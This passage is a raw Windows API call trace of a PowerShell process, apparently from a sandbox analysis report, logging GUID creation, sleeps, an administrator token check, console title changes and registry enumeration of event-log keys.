[7]=0x0))) returned 0x0 [0218.870] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xb0ea4aa, Data2=0x80ff, Data3=0x443a, Data4=([0]=0x9b, [1]=0x75, [2]=0x68, [3]=0xad, [4]=0xce, [5]=0x23, [6]=0x42, [7]=0x90))) returned 0x0 [0218.871] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x39ae29b6, Data2=0x12c3, Data3=0x459d, Data4=([0]=0xa5, [1]=0xb3, [2]=0xe9, [3]=0xd4, [4]=0xfc, [5]=0x25, [6]=0xda, [7]=0x6a))) returned 0x0 [0218.872] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xe582569b, Data2=0xb326, Data3=0x4be9, Data4=([0]=0xaa, [1]=0x67, [2]=0x2a, [3]=0x8, [4]=0x36, [5]=0xaf, [6]=0x65, [7]=0x4a))) returned 0x0 [0218.872] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xc817966c, Data2=0x5718, Data3=0x49d6, Data4=([0]=0xb1, [1]=0x6d, [2]=0x8e, [3]=0xa7, [4]=0xd6, [5]=0x5f, [6]=0x71, [7]=0xb))) returned 0x0 [0218.872] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xfb88a5af, Data2=0x5a9d, Data3=0x4f14, Data4=([0]=0xa7, [1]=0xcb, [2]=0x4c, [3]=0xe4, [4]=0x36, [5]=0x5d, [6]=0x55, [7]=0xeb))) returned 0x0 [0218.873] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x7f012ec7, Data2=0x7764, Data3=0x4196, Data4=([0]=0x81, [1]=0x36, [2]=0x51, [3]=0xd8, [4]=0xfe, [5]=0x6, [6]=0xf4, [7]=0xa))) returned 0x0 [0218.873] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x346319fe, Data2=0x6ce, Data3=0x453c, Data4=([0]=0x9a, [1]=0x80, [2]=0x13, [3]=0xf7, [4]=0x2, [5]=0xab, [6]=0xe0, [7]=0xc3))) returned 0x0 [0218.874] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x49d30a90, Data2=0x9229, Data3=0x452e, Data4=([0]=0x97, [1]=0x6, [2]=0x23, [3]=0xd7, [4]=0x34, [5]=0x3c, [6]=0xea, [7]=0x65))) returned 0x0 [0218.901] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xbd858f18, Data2=0xf029, Data3=0x440f, Data4=([0]=0x8c, [1]=0x39, [2]=0x64, [3]=0x21, [4]=0x30, [5]=0x37, [6]=0xef, [7]=0xb4))) returned 0x0 [0218.902] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x963e7761, Data2=0xcac7, Data3=0x4a18, Data4=([0]=0xad, [1]=0x7d, [2]=0xa6, [3]=0x5b, [4]=0x39, [5]=0xe1, [6]=0x4d, [7]=0x29))) returned 0x0 [0218.902] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x48af07ee, Data2=0x37b6, Data3=0x4013, Data4=([0]=0xbe, [1]=0xd0, [2]=0x65, [3]=0xb3, [4]=0x6d, [5]=0xdd, [6]=0xd, [7]=0x98))) returned 0x0 [0218.902] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xebe3ab9e, Data2=0xa153, Data3=0x4ec5, Data4=([0]=0x84, [1]=0xc9, [2]=0x17, [3]=0xca, [4]=0xf3, [5]=0x85, [6]=0x42, [7]=0x1b))) returned 0x0 [0218.903] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x89e54888, Data2=0x4963, Data3=0x4846, Data4=([0]=0x9f, [1]=0x6, [2]=0x2, [3]=0xfe, [4]=0x64, [5]=0xaa, [6]=0xe9, [7]=0x27))) returned 0x0 [0218.903] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x47d665f8, Data2=0x74d7, Data3=0x4df2, Data4=([0]=0xad, [1]=0xab, [2]=0x45, [3]=0x4, [4]=0xd7, [5]=0x2a, [6]=0x1c, [7]=0x96))) returned 0x0 [0218.904] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x80247055, Data2=0xe0ca, Data3=0x4c85, Data4=([0]=0x86, [1]=0xb, [2]=0xcc, [3]=0xe0, [4]=0x8a, [5]=0x1a, [6]=0x6, [7]=0x29))) returned 0x0 [0218.904] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x5398c200, Data2=0x346f, Data3=0x4c63, Data4=([0]=0x83, [1]=0x7d, [2]=0x13, [3]=0x19, [4]=0x66, [5]=0x7b, [6]=0xc3, [7]=0x31))) returned 0x0 [0218.905] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0x45c3d12c, Data2=0xd210, Data3=0x44f2, Data4=([0]=0x97, [1]=0x70, [2]=0xc, [3]=0x40, [4]=0x5a, [5]=0x9d, [6]=0xe3, [7]=0x38))) returned 0x0 [0218.905] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xd7f85ae1, Data2=0xf6a8, Data3=0x4b9d, Data4=([0]=0xad, [1]=0x23, [2]=0xcd, [3]=0xb0, [4]=0xca, [5]=0x51, [6]=0xe2, [7]=0x1))) returned 0x0 [0218.905] CoCreateGuid (in: pguid=0x760f124 | out: pguid=0x760f124*(Data1=0xbef1117a, Data2=0xf395, Data3=0x4707, Data4=([0]=0xa1, [1]=0x15, [2]=0x48, [3]=0xb0, [4]=0xb, [5]=0x93, [6]=0x3d, [7]=0xa2))) returned 0x0 [0218.926] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.935] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.949] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.987] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.998] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.027] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.069] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.074] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.102] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.110] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.117] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.836] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0219.970] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.078] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.422] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.886] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0220.986] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.340] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.444] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.545] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.649] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.826] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.849] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.856] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.867] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.887] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.899] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.901] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.903] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.920] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.932] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.940] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.943] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0221.945] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0242.134] CoUninitialize () Thread: id = 193 os_tid = 0xe50 [0205.279] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0205.280] CoGetContextToken (in: pToken=0x7aefb64 | out: pToken=0x7aefb64) returned 0x0 [0205.280] CObjectContext::QueryInterface () returned 0x0 [0205.280] CObjectContext::GetCurrentThreadType () returned 0x0 [0205.280] Release () returned 0x0 [0205.280] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0205.280] CoUninitialize () [0205.280] RoInitialize () returned 0x1 [0205.280] RoUninitialize () returned 0x0 [0205.280] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.391] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.661] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.785] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.953] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.089] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.280] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.402] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.538] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.681] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.749] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.838] GetCurrentProcess () returned 0xffffffff [0206.839] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x7aef6a0 | out: TokenHandle=0x7aef6a0*=0x650) returned 1 [0206.863] GetTokenInformation (in: TokenHandle=0x650, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x7aef6a4 | out: TokenInformation=0x0, ReturnLength=0x7aef6a4) returned 0 [0206.863] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x7656eb8 [0206.863] GetTokenInformation (in: TokenHandle=0x650, TokenInformationClass=0x8, TokenInformation=0x7656eb8, TokenInformationLength=0x4, ReturnLength=0x7aef6a4 | out: TokenInformation=0x7656eb8, ReturnLength=0x7aef6a4) returned 1 [0206.865] LocalFree (hMem=0x7656eb8) returned 0x0 [0206.867] DuplicateTokenEx (in: hExistingToken=0x650, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x7aef6ac | out: phNewToken=0x7aef6ac*=0xe8) returned 1 [0206.867] CheckTokenMembership (in: TokenHandle=0xe8, SidToCheck=0x50aab28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x7aef6bc | out: IsMember=0x7aef6bc) returned 1 [0206.867] CloseHandle (hObject=0xe8) returned 1 [0207.015] CoTaskMemAlloc (cb=0x804) returned 0x76b43c8 [0207.015] GetConsoleTitleW (in: lpConsoleTitle=0x76b43c8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x3a [0208.013] CoTaskMemFree (pv=0x76b43c8) [0208.293] CoTaskMemAlloc (cb=0x804) returned 0x76b43c8 [0208.293] GetConsoleTitleW (in: lpConsoleTitle=0x76b43c8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x3a [0208.723] CoTaskMemFree (pv=0x76b43c8) [0208.939] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0209.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.256] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.635] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.796] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.906] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.925] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.983] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.014] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.063] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.082] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.155] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.164] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.218] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.277] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.401] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.435] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.560] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.602] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0210.668] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.751] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x7aeed20, nSize=0x80 | out: lpBuffer="က溕က溕") returned 0x0 [0216.130] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x7aeebec, nSize=0x80 | out: lpBuffer="ޮ籶狎⫨鈔က溕က溕") returned 0x0 [0216.316] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x680) returned 0x0 [0216.323] RegQueryInfoKeyW (in: hKey=0x680, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7aef53c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef538, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7aef53c*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef538*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.323] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x0, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.323] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x1, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.323] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x2, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.323] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x3, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.323] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x4, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.324] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x5, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.324] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x6, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.324] RegEnumKeyExW (in: hKey=0x680, dwIndex=0x7, lpName=0x51daa18, lpcchName=0x7aef558, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7aef558, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.324] RegOpenKeyExW (in: hKey=0x680, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.324] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.324] RegCloseKey (hKey=0x69c) returned 0x0 [0216.324] RegOpenKeyExW (in: hKey=0x680, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.324] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.324] RegCloseKey (hKey=0x69c) returned 0x0 [0216.325] RegOpenKeyExW (in: hKey=0x680, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.325] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.325] RegCloseKey (hKey=0x69c) returned 0x0 [0216.325] RegOpenKeyExW (in: hKey=0x680, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.325] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.325] RegCloseKey (hKey=0x69c) returned 0x0 [0216.325] RegOpenKeyExW (in: hKey=0x680, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.325] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.326] RegCloseKey (hKey=0x69c) returned 0x0 [0216.326] RegOpenKeyExW (in: hKey=0x680, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.326] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.326] RegCloseKey (hKey=0x69c) returned 0x0 [0216.326] RegOpenKeyExW (in: hKey=0x680, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.326] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x0) returned 0x2 [0216.326] RegCloseKey (hKey=0x69c) returned 0x0 [0216.326] RegOpenKeyExW (in: hKey=0x680, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x69c) returned 0x0 [0216.326] RegOpenKeyExW (in: hKey=0x69c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef518 | out: phkResult=0x7aef518*=0x6a0) returned 0x0 [0216.327] RegCloseKey (hKey=0x6a0) returned 0x0 [0216.327] RegCloseKey (hKey=0x680) returned 0x0 [0216.584] RegCloseKey (hKey=0x69c) returned 0x0 [0216.965] CoTaskMemAlloc (cb=0x804) returned 0x769f068 [0216.965] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x769f068, nSize=0x7aef610 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x7aef610) returned 0x1 [0216.967] CoTaskMemFree (pv=0x769f068) [0216.968] GetUserNameW (in: lpBuffer=0x7aef3a4, pcbBuffer=0x7aef61c | out: lpBuffer="FD1HVy", pcbBuffer=0x7aef61c) returned 1 [0217.813] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4c0 | out: phkResult=0x7aef4c0*=0x288) returned 0x0 [0217.814] RegQueryInfoKeyW (in: hKey=0x288, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7aef510, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef50c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7aef510*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7aef50c*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x0, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x1, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x2, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x3, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x4, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x5, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x6, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.814] CoTaskMemFree (pv=0x0) [0217.814] RegEnumKeyExW (in: hKey=0x288, dwIndex=0x7, lpName=0x5254d80, lpcchName=0x7aef52c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7aef52c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0217.815] CoTaskMemFree (pv=0x0) [0217.815] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.815] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.815] RegCloseKey (hKey=0x650) returned 0x0 [0217.815] RegOpenKeyExW (in: hKey=0x288, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.815] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.815] RegCloseKey (hKey=0x650) returned 0x0 [0217.815] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x650) returned 0x0 [0217.816] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: phkResult=0x7aef4ec*=0x0) returned 0x2 [0217.816] RegCloseKey (hKey=0x650) returned 0x0 [0217.816] RegOpenKeyExW (in: hKey=0x288, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7aef4ec | out: 